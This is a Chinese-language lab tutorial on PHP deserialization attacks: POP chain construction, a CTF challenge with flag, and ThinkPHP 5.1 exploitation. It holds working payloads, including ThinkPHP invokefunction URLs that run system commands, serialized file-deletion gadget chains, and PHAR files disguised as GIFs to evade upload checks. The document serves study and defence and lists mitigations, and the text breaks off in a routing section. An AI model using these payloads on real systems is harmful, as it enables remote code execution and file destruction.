xdebug.remote_host = "192.168.72.148"   ; 远程调试的IP地址,即PHP所在服务器IP

;;;;;;;;;;;;;;;;;;;
; Module Settings ;
;;;;;;;;;;;;;;;;;;;
[XDebug]
zend_extension=/opt/lampp/lib/php/extensions/no-debug-non-zts-20131226/xdebug.so  
xdebug.remote_enable = 1       ; 
xdebug.remote_autostart = 1    ; 
xdebug.remote_handler = "dbgp" ; 
xdebug.remote_port = "9000"    ; 
xdebug.remote_host = "192.168.72.148"   ;

8、修改VSCode的端口号为9000,然后设置断点开始调试,在浏览器中运行网页,暂停到断点处

image-20220905150259587

三、使用调试功能

image-20220905150621754

反序列化POP调用链构造

一、什么是POP

​ POP即:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

​ 一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

二、PHP漏洞代码

<?php
    class Tiger{
        public $string;
        protected $var;
        public function __toString(){
            return $this->string;
        }
        public function boss($value){
            @eval($value);
        }
        public function __invoke(){
            $this->boss($this->var);
        }
    }
    class Lion{
        public $tail;
        public function __construct(){
            $this->tail = array();
        }
        public function __get($value){
            $function = $this->tail;
            return $function();
        }
    }
    class Monkey{
        public $head;
        public $hand;
        public function __construct($here="Zoo"){
            $this->head = $here;
            echo "Welcome to ".$this->head."<br>";
        }
        public function __wakeup(){
            if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
                echo "hacker";
                $this->source = "index.php";
            }
        }
    }
    class Elephant{
        public $nose;
        public $nice;
        public function __construct($nice="nice"){
            $this->nice = $nice;
            echo $nice;
        }
        public function __toString(){
            return $this->nice->nose;
        }
    }
    if(isset($_GET['zoo'])){
        @unserialize($_GET['zoo']);
    }
    else{
        $a = new Monkey;
        echo "Hello PHP!";
    }
?>

三、POP调用链分析

1、确定终点

经过详细分析,目标调用存在于Tiger类的boss方法中,只要能够构造出boss方法的参数值为一条序列化字符串的PHP代码,即可完成。

2、寻找起点

通常反序列化过程中,必然会被自动调用的是__wakeup 和 __destruct 两个魔术方法,所以寻找上述代码中的起点,发现只有在Monkey类中存在__wakeup,那么就暂时先以Monkey类作为起点,进行反序列化操作,但是是否能达到终点并不完全确定,如果最终无法到达终点,那么我们就必须要继续寻找新的起点,或者是评估调用链是否正确。

3、确定$this->head

在Monkey类的__wakeup魔术方法中,使用了preg_match函数进行正则匹配,也就意味着第二个参数 $this->head 必须是一个字符串。从Monkey类中可以看到,$this->head的值可以来源于构造方法,默认值为 Zoo,但是这样使用显然不可能,因为反序列化的时候,是不会调用构造方法的。那么所以只能换一个方向来思考,$this->head如果是一个对象呢,当把一个对象当成字符串处理时,会触发__toString魔术方法,这条路也许可行。

4、确定__toString所在类

现在有两个对象有tostring方法,分别是Elephant和Tiger,选择哪个呢,我们的目的是进入boss函数执行命令,可以看到Tiger的tostring方法只是返回一个变量没啥用,所以就选择让$this->head = new Elephant();,此时会执行$this->nice->nose;

5、确定$this->nice

在Elephant的构造方法中,也存在对$nice的赋值,但是这类操作并没有实际价值,因为我们的目标是要想办法进行跳转,要一步一步跳转到别的类当中去执行代码,进而最终到达终点。目前还剩下Tiger的__invoke和Lion的__get没有进行跳转和调用,那么首先需要知道这两个魔术方法的触发条件:

(1)__invoke:当以函数方式调用对象时被调用,也就是类似:$a = new A(); $a();这种调用方式时触发

(2)__get:读取不可访问或不存在属性时被调用

那么我们来分析一下,$this->nice为哪个对象时,可以继续往下走。显然,此处不可能有条件能够触发到__invoke,那么只能选择触发__get,于是令$this->nice = new Lion(),而Lion类并没有属性nose,所以完成对Lion类的__get的触发

6、确定$this->tail

当跳转到Lion类的__get方法时,此时我们看到两个特征,第一:在返回一个函数,那么这很有可能为下一步准备以函数方式调用对象做了铺垫,即可以触发Tiger类的__invoke方法,目前看起来也许前面的POP正确性比较高。第二:需要确定$this->tail的值,那么按照这个设计来看的话,此处应该令$this->tail = new Tiger(); 是很有可能正确的。这个时候$function就是Tiger对象,而下一步的代码return $function();恰好可以印证这一点,实现了对象的函数式调用,进而触发Tiger类的__invoke魔术方法。

7、确定$this->var

进到Tiger类的__invoke魔术方法中时,直接看到了调用$this->boss()方法,已经快到终点了,所以此时,只需要确定$this->var的值便可以完成调用链的构造了,此时问题变简单了,只需要令$this->var = phpinfo();即可完成构造。

8、以终为始

上述分析过程,是以起点开始的,而往往起点通向终点的过程并不一定非常顺利,所以也可以将分析过程反过来,以终点开始,逐步推向起点,效率也许会更高。如果倒推,顺推都是一条路径,那么足以说明POP链是完全正确的。

四、确定POC

<?php

use Monkey as GlobalMonkey;

class Tiger{
    protected $var = 'phpinfo();';

}


class Lion{
    public $tail;
    function __construct()
    {
        $this->tail = new Tiger();
    }
}


class Elephant{
public $nice;

    function __construct()
    {
        $this->nice = new Lion(); 
    }

}

class Monkey{
    public $head;

    function __construct()
    {
        $this->head = new Elephant();
    }
}

$a=new Monkey();
echo urlencode(serialize($a));

?>

五、总结

(1)先要确定起点和终点,如果起点有多个,那么就去尝试最有可能进行相互跳转的一个,起点和终点无法确定,POP链不可能成功。

(2)一定要牢记不同的魔术方法的自动触发条件,如果不太熟悉,则做实验证明,然后理解它。

(3)自动触发的跳转过程,会不停地给类变量(属性)赋值,一定要知道该赋什么样的值,通常的值都不会是普通类型,而是对象。

(4)POP链的分析和构造过程,可以完全忽略非魔术方法或也链条无关的方法和属性。

(5)POP的核心在于属性,而不是方法,序列化和反序列化的核心也在属性,而不是方法,所以方法对我们构造POC是无意义的。

六、CTF-反序列化

1、题目
<?php
class start_gg {
    public $mod1;
    public $mod2;
    public function __destruct() {
        $this->mod1->test1();
    }
}
class Call {
    public $mod1;
    public $mod2;
    public function test1() {
        $this->mod1->test2();
    }
}
class funct {
    public $mod1;
    public $mod2;
    public function __call($test2,$arr) {
        $s1 = $this->mod1;
        $s1();
    }
}
class func {
    public $mod1;
    public $mod2;
    public function __invoke() {
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1 {
    public $str1;
    public $str2;
    public function __toString() {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag {
    public function get_flag() {
        echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
    }
}
$a = $_GET['string'];
unserialize($a);

?>
3、POC
<?php

class GetFlag{

}

class string1 {
    public $str1;
    function __construct()
    {
        $this->str1 = new GetFlag();
    }
}

class func{
    public $mod1;
    public $mod2;
    function __construct()
    {
        $this->mod1 = new string1();
    }
}

class funct{
    public $mod1;
    function __construct()
    {
        $this->mod1 = new func();
    }
}

class start_gg{
    public $mod1;
    function __construct()
    {
        $this->mod1 = new funct();
    } 
}

$s = new start_gg();
echo serialize($s);


 ?>

ThinkPHP反序列化漏洞

一、安装Composer

​ 为了获取到ThinkPHP不同版本用于构造测试环境,需要首先安装Composer.。Composer是PHP中用来管理依赖(dependency)关系的工具。你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer会帮你安装这些依赖的库文件。在之前学习ThinkPHP框架时我们也使用过Composer来在线安装ThinkPHP。本节内容主要了解一下如何在Linux环境中安装和使用。

1、 配置PHP运行环境

​ 默认情况下,只要安装了Xampp,或者任意一个Lamp环境,或者直接安装PHP,都表明系统环境中已经安装好了PHP的主命令,只是并不一定说PHP会被安装在默认的/usr/local/bin目录下,以148服务器的Xampp环境为例,需要先配置一个软链接到/opt/lampp/bin/php

ln -s /opt/lampp/bin/php /usr/local/bin/php

上述命令将/usr/local/bin/php指向/opt/lampp/bin/php,这样,我们就可以在任意目录下直接执行PHP命令(代替配置环境变量)

2、下载Composer并进行安装
curl -sS https://getcomposer.org/installer | php

上述命令从https://getcomposer.org下载installer程序,并交由PHP命令执行,这样,便会在当前目录中安装好composer.phar

3、将composer.phar移动到/usr/loacl/bin目录并重命名为composer
mv composer.phar /usr/loacl/bin/composer
4、配置composer使用国内镜像
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
composer config -g repo.packagist composer https://packagist.phpcomposer.com

上述镜像二选一,另外。处于安全考虑,composer不建议以root用户执行命令,但是也可以忽略继续执行。如果出现错误消息,则根据错误消息进行处理即可。

二、安装ThinkPHP框架

1、安装5.1.25版本

​ 此处我们以ThinkPHP 5.1.X的中间版本为例来进行演示。先进入网站 https://packagist.org/packages/topthink/framework 查看ThinkPHP的具体的版本号,选择一个中间版本进行安装,比如此处选择5.1.25这个版本进行安装。

[root@yyb htdocs]# composer create-project topthink/think tpdemo 5.1.25 --prefer-dist
Do not run Composer as root/super user! See https://getcomposer.org/root for details
Continue as root/super user [yes]? yes
Creating a "topthink/think" project at "./tpdemo"
Info from https://repo.packagist.org: #StandWithUkraine
Installing topthink/think (v5.1.25)
  - Downloading topthink/think (v5.1.25)
  - Installing topthink/think (v5.1.25): Extracting archive
Created project in /opt/lampp/htdocs/tpdemo
Loading composer repositories with package information
Updating dependencies
Lock file operations: 2 installs, 0 updates, 0 removals
  - Locking topthink/framework (v5.1.41)
  - Locking topthink/think-installer (v2.0.5)
Writing lock file
Installing dependencies from lock file (including require-dev)
Package operations: 2 installs, 0 updates, 0 removals
  - Downloading topthink/think-installer (v2.0.5)
  - Downloading topthink/framework (v5.1.41)
topthink/think-installer contains a Composer plugin which is currently not in your allow-plugins config. See https://getcomposer.org/allow-plugins
Do you trust "topthink/think-installer" to execute code and wish to enable it now? (writes "allow-plugins" to composer.json) [y,n,d,?] y
  - Installing topthink/think-installer (v2.0.5): Extracting archive
  - Installing topthink/framework (v5.1.41): Extracting archive
Generating autoload files

上述命令会在/opt/lampp/htdocs 目录下,安装tpdemo项目目录,但是从命令执行过程可以看出,composer强制将5.1.25的版本升级到了5.1.41的最新版本。那么如何指定只安装5.1.25的版本呢,此时我们进入 /opt/lampp/htdocs/tpdemo目录下,修改composer.json,强制指定为5.1.25版本,然后在当前目录下进行降级处理。

"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.*"    
}
修改为
"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.25"    # 直接修改为5.1.25
}

在 /opt/lampp/htdocs/tpdemo目录下,执行以下命令完成降级:

[root@yyb tpdemo]# composer update
Do not run Composer as root/super user! See https://getcomposer.org/root for details
Continue as root/super user [yes]? yes
Loading composer repositories with package information
Info from https://repo.packagist.org: #StandWithUkraine
Updating dependencies
Lock file operations: 0 installs, 1 update, 0 removals
  - Downgrading topthink/framework (v5.1.41 => v5.1.25)
Writing lock file
Installing dependencies from lock file (including require-dev)
Package operations: 0 installs, 1 update, 0 removals
  - Downloading topthink/framework (v5.1.25)
  - Downgrading topthink/framework (v5.1.41 => v5.1.25): Extracting archive
Generating autoload files
2、确认安装成功及版本号

​ 启动Xampp、访问http://192.168.72.148/tpdemo/public/,出现默认首页,则代表安装成功

image-20220909103122425

任意构造一个错误链接,确认详细版本号:

image-20220909103223040

4、ThinkPHP已知漏洞Payload

​ 已知存在任意命令执行漏洞,了解一下,但是本节内容的重点在于反序列化漏洞及POP链分析。

http://192.168.72.148/tpdemo/public?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

image-20220909103535067

http://192.168.72.148/tpdemo/public?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ifconfig

image-20220909103522008

三、任意文件删除漏洞

1、利用VSCode打开远程TPDemo项目

​ 由于ThinkPHP框架的代码过多,如果直接在Linux服务器上进行搜索,查看源代码,验证POC等极其不方便,所以建议使用VSCode远程打开整个项目目录,便于进行操作和分析。

2、找起点

​ 全局搜索TPDemo项目目录,查找是否存在__destruct 或 __wakup魔术方法。最终发现有4个类文件中存在__destruct方法,有3个类文件存在__wakup方法。

image-20220909105229830

经过排查,确认/tpdemo/thinkphp/library/think/process/pipes/Windows.php类文件中有可能存在可利用的点,因为其他类里面的__destruct方法和_wakeup方法要么只是简单的赋值,要么就是直接是stop或close,无法继续实现进一步跳转。Windows类的__destruct方法代码如下:

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

$this->close()方法确认无法继续,那么只能对$this->removeFiles()进行确认,进入当前类的removeFiles()方法中查看:

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

上述代码中存在类变量$this->files,并且该变量是一个数组形式,同时将会遍历该变量,将其数组中的文件删除。

3、任意文件删除漏洞

​ 根据上一步的分析结果,直接发现一个任意文件删除漏洞,惊喜来得太快,先构造一下POC,为了让POC能够成功执行,需要找一个可以直接运行程序的地方,那么可以直接在任意项目中创建一个PHP文件,执行以下代码即可。

namespace think\process\pipes;
class Pipes {}
class Windows extends Pipes {
    private $files = ['/opt/lampp/htdocs/security/Login/upload/test.php'];
}
echo serialize(new Windows());

4、访问http://192.168.72.148/security/serialize/uapoc.php,可看到生成的Payload为:

O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;s:48:"/opt/lampp/htdocs/security/Login/upload/test.php";}}

通过查看源码,会发现存在%00字符,所以建议使用URL编码,所以在Index.php中的POC代码修改为:

namespace think\process\pipes;
class Pipes {}
class Windows extends Pipes {
    private $files = ['/opt/lampp/htdocs/security/Login/upload/test.php'];
}
echo urlencode(serialize(new Windows())) ;

进而,生成的Payload为:

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A48%3A%22%2Fopt%2Flampp%2Fhtdocs%2Fsecurity%2FLogin%2Fupload%2Ftest.php%22%3B%7D%7D

5、如何利用Payload

​ 要成功利用Payload,需要在系统中找到一个反序列化的点,全局搜索unserialize,找到了很多相关的函数,经过分析,发现有大部分都是$this->unserialize,只是一个内部方法,并非PHP的反序列化函数。找到两个是原生PHP的unserialize函数,如下:

thinkphp/library/think/Template.php  #第318行
$includeFile = unserialize($matches[1]);

thinkphp/library/think/model/concern/Attribute.php #第601行
$value = unserialize($value);

​ 经过分析,发现上述两个unserialize的参数均不可控,所以这条路径失败。当然,除了使用unserialize函数可以实现反序列化之外,我们知道了,使用PHAR也可以实现反序列化,所以这条路径其实依然存在,但是我们先暂时不去分析这一段。

​ 先直接在Index.php中手写一个反序列化功能,触发上述Payload执行,先手工处理,确保POP链的可行性之后,再来分析有没有能够触发PHAR反序列化的地方。

<?php
namespace app\index\controller;

class Index
{
    public function index($input)
    {
        unserialize($input);
        return '………………'
    }

    public function hello($name = 'ThinkPHP5')
    {
        return 'hello,' . $name;
    }
}

6、使用以下Payload访问首页,/opt/lampp/htdocs/security/upload/test.php 文件被删除(前提是有权限删除)

http://192.168.112.188/tpdemo/public/index.php?input=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A42%3A%22%2Fopt%2Flampp%2Fhtdocs%2Fsecurity%2Fupload%2Ftest.php%22%3B%7D%7D

总结一下,反序列化的关键点在哪里?看到file_exists(),是否还想到点别的吗?

四、任意命令执行漏洞

参考资料:https://paper.seebug.org/1040/ https://www.cnblogs.com/th0r/p/14653223.html

关键点:

1、file_exists(对象),此时对象被当成字符串处理,可以触发__toString魔术方法

2、PHP中用trait关键字定义的类,叫Trait类,通过在其他类中使用use 关键字,声明要组合的Trait名称,具体的Trait的声明使用trait关键词,Trait不能实例化,只能被其他类use。同时,所有被同一个类use的Trait类,均可以像同一个类一样使用 $this->去访问各Trait类的方法和属性。Trait类也是为了补充PHP只能进行单一继承的问题,但是特性跟继承完全不一样,可以理解为类里面的include,这样来理解就行。

3、如果寻找可控点:参数或变量是类变量,而类变量可以用POC来构造初始值,也才叫参数可控。

4、POP链的分析,第一:需要熟练理解魔术方法在什么情况下会被自动触发,第二,需要完全理解PHP的面向对象编程机制,第三,坚决不能轻易放弃,要跟踪到底,第四:跟踪到什么时候结束?出现可控点便可以结束。

前方高能,接下来,让我们开启复杂而漫长的POP链的分析和POC的构造吧,挺过来了,我们就没有什么POP链分析不出来了。

1、在removeFiles()中寻找下一级

目录经过所有的排查,只剩下这一个方法可用,所以如果本方法也无法利用,则POP链构造只能宣告结束,最多做到删除文件的漏洞,无法进一步利用,删除文件这种是典型的损人不利己的操作,一般不会有人去这样干。

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {          
            @unlink($filename);
        }
    }
    $this->files = [];
}

简单的分析即可得出结论:file_exists函数的参数为字符串,那么如果将$this->files这个数组的值设置为对象数组,遍历时某个对象就会被当成字符串使用,进而实现自动触发__toString()魔术方法,此时,寻找哪个对象存在__toString()就可以进入下一级。

2、寻找某个对象的__toString方法

全局搜索__toString方法,找到两个可用类:thinkphp/library/think/Collection.php 和 thinkphp/library/think/model/concern/Conversion.php,这两个类里面的__toString方法均调用了类自己的toJson方法,但是再进一步跟踪一下两个类的调用,初步确定只有Conversion.php能够有继续下一步的条件。为什么?

public function __toString()
{
    return $this->toJson();
}
3、跟踪Conversion.php的toJson方法

Conversion.php的__toString方法没有任何可控点,所以继续往下一级跟进。

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

此处仍然没有可控点,继续跟进toArray方法。。。。。。。。。。。、

4、跟踪Conversion.php的toArray方法
    public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($visible[$key])) {
                    $val->visible($visible[$key]);
                } elseif (isset($hidden[$key])) {
                    $val->hidden($hidden[$key]);
                }
                // 关联模型对象
                $item[$key] = $val->toArray();
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible($name);
                    }

                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {

​ 查看Conversion的类的属性,只有$visible、$hidden、$append、&resultSetType,所以需要结合toArray的代码看,$data是不可控的,那么继续往下找到上述代码的第36行:if (!empty($this->append)) {为一个关联数组,且数组中的$name必须要是一个数组,才能够继续往下调用getRelationgetAttr

5、跟踪Conversion.php的getRelation方法

​ 发现此类中并不存在getRelation方法,这是什么原因,不是明明就是$this->getRelation($key)吗?事实上Conversion类是一个Trait类,不能实例化,只能被子类引用,而如果子类也同时引用了另外一个存在getRelation方法的类,则在Conversion类中变量可以直接以$this->getRelation($key)的方式进行调用了,通过分析发现,thinkphp/library/think/Model.php这个类便同时引用了以下几个Trait类,那么这几个类值见可以直接使用$this进行调用

use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;

所以我们只需要从上述这几个类中去寻找getRelation方法便可以跟踪到,最终定位在thinkphp/library/think/model/concern/RelationShip.php类中,找到了该方法

public function getRelation($name = null)
{
    if (is_null($name)) {
        return $this->relation;
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    return;
}

分析该方法,是从toArray调用而来,传过来的实参是$key,传递给形参$name,所以$key不会为空,并且也不可能存在于$this->relation中,所以结果返回为空,且没有可以利用的点。

​ 继续回到上一级的toArray方法中,if(!$relation)这个条件恒成立,只能继续寻找$relation = $this->getAttr($key);中的getAttr方法,而该方法同样不存在于Conversion类中,而是存在thinkphp/library/think/model/concern/Attribute.php中,该类与Conversion类同时被Model类引用,所以可以使用$this,继续跟踪。

6、跟踪Attribute.php的getData方法
public function getAttr($name, &$item = null)
{
    try {
        $notFound = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $notFound = true;
        $value    = null;
    }
7、继续跟进Attribute.php的getData方法
public function getData($name = null)
{
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

查看`Attribute.php`类的属性,只有`$data`可控,所以此处会返回`return $this->data[$name];`,返回给`getAttr`方法,最终返回给`Conversion`类的`toArray`方法中的`$relation = $this->getAttr($key);`这行代码,也就获得了变量`$relation`的值,所以最终跟踪到`Attribute`类的`getData`方法中,实现类属性可控。
8、尝试构造一波POC

​ 事实上POP分析到此,还没有找到一条可以执行命令的路径,但是由于路径比较长,条件也比较多,所以无论如何,先尝试构造一下POC。整个过程从Windows类开始,所以我们要序列化的对象是Winodws。进而经过Conbersion、RelationShip、Attribute几个类,并通过Model类进行use,建立几个Trait类的关系,所以直接定义Model类,并给其赋值即可,都不需要再定义Conbersion、RelationShip、Attribute几个类,只是把这几个类的可用属性赋予Model类即可。理解了这一点,再继续考虑以下三点,完成POC构造:

  • Model类是一个抽象类,无法实例化,所以需要去寻找能够实例化的子类,找到thinkphp/library/think/model/Pivot.php
  • Conbersion、RelationShip、Attribute三个Trait类的属性,直接交给Model类定义,有Conversion类的append\Attribute类的data,而RelationShip;类的getRelation方法虽然在我们的调用链中,但是不存在属性定义。
  • 构造POC的过程中,一定要清除每个属性的不同数据类型,以满足反序列化过程中的各个调用条件成立。

PHAR反序列化漏洞

一、PHAR反序列化

​ PHAR指(“Php ARchive“)是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。

​ 我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在2018年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

二、PHAR文件结构

1、stub

stub的基本结构:XXXX<?php __HALT_COMPILER();?>前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2、meta-data

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。

3、content

被压缩文件的内容。

4、signature

签名,放在文件末尾。

三、PHAR工作原理

1、php.ini 中修改 phar.readonly = Off并重启(如果不存在写PHAR的操作,则可以不用开启该选项)

2、编写以下PHP代码并命名为phar.php

// 正常的PHP后台执行代码,注意需要使用file_exists函数触发
<?php
class User{
    var $name;
    function __destruct()
    {
        echo $this->name;
    }
}
$filename = $_GET['input'];
file_exists($filename);
?>

3、编写test.phar的POC并命名为pharpoc.php

<?php
class User{
    var $name;
    function __construct()
    {
        $this->name = 'YikJiang';
    }
}
@unlink("test.phar");       // 删除之前的test.phar文件
$phar = new Phar("test.phar");
$phar ->startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$o = new User();
$phar -> setMetadata($o);  //会自动执行序列化操作
$phar -> addFromString("test.txt","content");
$phar -> stopBuffering();
?>

4、访问第3步的pharpoc.php生成test.phar文件,再访问phar.php

image-20220918103323438

image-20220918103348487

5、以下函数可用于触发反序列化

image-20211120155042379

四、利用PHAR执行任意命令

1、修改phar.php

class User {
    var $name;
    function __wakeup(){
        @eval($this->name);
    }
    // function __destruct(){
    //     echo $this->name;
    // }
} 
$filename = $_GET['filename'];
file_exists($filename);

2、修改pharpoc.php

  • 方法一
class User{
    var $name;
}
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$o->name = "phpinfo();";    // 这是待执行的代码
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
  • 方法二
<?php
class User{
    var $name;
    function __construct()
    {
        $this->name = 'phpinfo();';
    }
}
@unlink("test.phar");       // 删除之前的test.phar文件
$phar = new Phar("test.phar");
$phar ->startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$o = new User();
$phar -> setMetadata($o);  //会自动执行序列化操作
$phar -> addFromString("test.txt","content");
$phar -> stopBuffering();
?>

3、访问pharpoc.php生成新的test.phar文件

image-20220918143319386

4、使用以下参数访问phar.php

image-20220918110450544

五、利用PHAR绕过文件检测

文件类型检测:主要是检测文件内容开始处的文件幻数,要绕过的话需要在文件开头写上检测的值。比如GIF的文件头为:GIF89a

PHP识别phar文件是通过其文件头的stub中的__HALT_COMPILER();?>这段代码,对于其前面的内容和后缀名都没有校验,因此可以通过添加任意的文件头以及修改后缀名的方式将phar文件伪装成其他格式的文件从而绕过文件类型检测。

1、修改pharpoc.php

class User{
    var $name;
}
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");  // 文件头添加GIF89a
$o = new User();
$o->name = "phpinfo();";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

2、将生成的test.phar重命名为test.gif

3、访问phar.php?filename=phar://test.gif/test.txt

image-20220918153307182

六、ThinkPHP中的PHAR反序列化

除了使用unserialize函数能够触发反序列化之外,我们也学习到PHAR也可以触发反序列化操作,而file_exists函数恰好可以支持触发,所以在ThinkPHP环境中,我们也可以继续寻找存在file_exists函数或类似可以触发PHAR反序列化的函数,然后构造一个PHAR的POC,用于触发Windows类的__destruct。

image-20220919090026941

1、寻找目录

全局搜索file_exists,找到了/thinkphp/library/think/template/driver/File.php文件的check方法。

public function check($cacheFile, $cacheTime)
{
    // 缓存文件不存在, 直接返回false
    if (!file_exists($cacheFile)) {
        return false;
    }
    if (0 != $cacheTime && time() > filemtime($cacheFile) + $cacheTime) {
        // 缓存是否在有效期
        return false;
    }
    return true;
}
2、修改代码测试参数传递

在上述函数中开始的位置添加一行代码:echo $cacheFile . "<br/>"; 用于测试参数传递和URL调用是否可用。

public function check($cacheFile, $cacheTime)
    {   
        echo "<br/>" . $cacheFile . "<br/>";
        ………………
    }
}
3、测试URL调用与传参

访问地址:

http://192.168.72.148/tpdemo/public/index.php?s=index/\think\template\driver\File/check&cacheFile=YikJiang&cacheTime=1

image-20220918154339076

说明成功调用,此时可以准备构造PHAR的POC,用于进行PHAR反序列化操作。

4、构造POC
<?php
namespace  think\process\pipes;

use Phar;
class Pipes {}
class Windows extends Pipes{
    private $files = ['/opt/lampp/htdocs/security/Login/upload/test.php'];
}


@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Windows();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>
5、执行POC
http://192.168.72.148/tpdemo/public/index.php?s=index/\think\template\driver\File/check&cacheFile=phar:///opt/lampp/htdocs/security/serialize/test.phar&cacheTime=100
![image-20220919151330519](https://img-blog.csdnimg.cn/img_convert/35e8faa1c464ae17dab7d9d8b88a005b.png)

打开ThinkPHP的调试模式,发现报错,但是此时目标文件:/opt/lampp/htdocs/security/upload/test.php已经被成功删除。此过程可以完成随意删除文件的操作且不需要修改任何源代码便可完成。

进而,继续基于ThinkPHP的任意命令执行的反序列化漏洞,基于该POC来生成PHAR文件,实现基于PHAR反序列化操作的POP链的触发,这种情况下就不需要依赖于index页面手工添加进去unserialize代码了。前提当然目标系统中存在文件上传接口,直接将PHAR文件伪装成GIF文件:test.gif,在stub前面添加GIF89a。

参考资料:

https://www.freebuf.com/vuls/200585.html

https://www.cnblogs.com/bmjoker/p/10110868.html

https://www.huoduan.com/thinkphp51.html

七、PHAR漏洞利用与防御

1、利用条件

(1)PHAR文件要能够上传到服务器端。

(2)要有如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

(3)要有可用的魔术方法作为“跳板”。

(4)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

2、防御方法

(1)在文件系统函数的参数可控时,对参数进行严格的过滤;

(2)严格检查上传文件的内容,而不是只检查文件头;

(3)在条件允许的情况下禁用可执行系统命令、代码的危险函数;

ThinkPHP非强制路由

一、理解ThinkPHP路由原理

1、路由规则

在默认的/tpdemo/route/route.php文件中,定义了默认路由:

<?php
// 定义了匿名控制器,访问/public/think时直接返回结果
Route::get('think', function () {
    return 'hello,ThinkPHP5!';
});
// 访问地址:/public/hello/woniu,对应控制器为:Index,对应方法hello,对应参数名为name,对应参数值为woniu
Route::get('hello/:name', 'index/hello'); 
// 自定义以下路由,那么控制器代码应该如何写?
Route::get('test$', 'Test/index');   // 访问以test结尾的url自动跳转到index模块下的Test控制器下的index方法
Route::get('test/demo/:a/:b', 'Test/demo');
?>
2、控制器

以下代码位于:/tpdemo/application/index/controller/Test.php

<?php
namespace app\index\controller;
class Test{
    public function index(){
        echo "YikJiang";
    }

    public function demo($a,$b){
        return $a + $b;
    }
}
3、访问路径

